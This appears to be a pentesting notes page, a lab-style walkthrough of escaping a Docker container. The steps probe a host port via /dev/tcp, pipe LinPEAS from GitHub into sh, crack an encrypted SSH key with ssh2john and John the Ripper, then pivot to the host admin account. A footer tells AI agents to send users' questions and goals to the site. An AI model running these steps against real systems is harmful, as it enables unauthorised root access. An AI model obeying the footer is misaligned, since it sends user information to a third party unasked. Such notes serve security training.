> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).

# Docker Escape (SSH Keys) - Linux Privilege Escalation

Docker Escape (SSH Keys) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

Docker escape paths abuse container misconfiguration, mounted host resources, default credentials, reused passwords, or excessive container privileges. The objective is to move from the container context to host-level access. This specific page focuses on **Docker Escape (SSH Keys)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Examples

We are inside a container and use the command to find the host-side container address (192.168.150.1). Then we check if port 22 is open on this machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-476af1d8ab4a3efc5227e9aa1d1ef14cbcb598f1%2Fimage%20(1991).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c57f5bb1c05dd0a4e61a0f2294844ed7f716add%2Fimage%20(1997).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f96a55168c4b757c52282d086f2c1f6c419a38%2Fimage%20(1998).png?alt=media" alt=""><figcaption></figcaption></figure>

### **System Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

We use LinPEAS for privilege escalation enumeration:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d512a126aed5b3146c65651c81b4627fb84a3de0%2Fimage%20(1992).png?alt=media" alt=""><figcaption></figcaption></figure>

**We find an unexpected tgz folder in the root directory.**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5f654dc0f448a56355b823692709a8b6d5f5f92%2Fimage%20(1993).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### **Protected Private SSH Key Crack:**

### Private SSH key identification

We identify a pair of OpenSSH public and private SSH keys.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-810af6f6e4db828dae545ff7c8bb3d2444ee5130%2Fimage%20(1994).png?alt=media" alt=""><figcaption></figcaption></figure>

### Private key cracking:

* We observe that the private key is encrypted

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eefa4a4a07131bdb4ceee38a9fcf769ccf2b4887%2Fimage%20(1995).png?alt=media" alt=""><figcaption></figcaption></figure>

* We use **ssh2john.py** to convert file content into a hash:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f06955dcd19732aea575d8f17f3a6c7b63082705%2Fimage%20(1996).png?alt=media" alt=""><figcaption></figcaption></figure>

* Then we use John the Ripper to break the hash with a password file.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4355426d283b2244a50ea94e5a1d92b3431fe046%2Fimage%20(1999).png?alt=media" alt=""><figcaption></figcaption></figure>

### Access as root:

We get access to the machine as root.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c597a9224437049c55a8b6b324768a4d5813c8d3%2Fimage%20(2000).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Abusing SSH Key Trust to Escape the Container:**

Use the `known_hosts` configuration in the container SSH directory to pivot to another machine, allowing us to connect to the admin user on the host machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e5df0067bdbb5dece9f4c7b134ed2d645a3d87f%2Fimage%20(2001).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3376717d0cabe33e21ef46973c3aad0e3837db99%2Fimage%20(2002).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
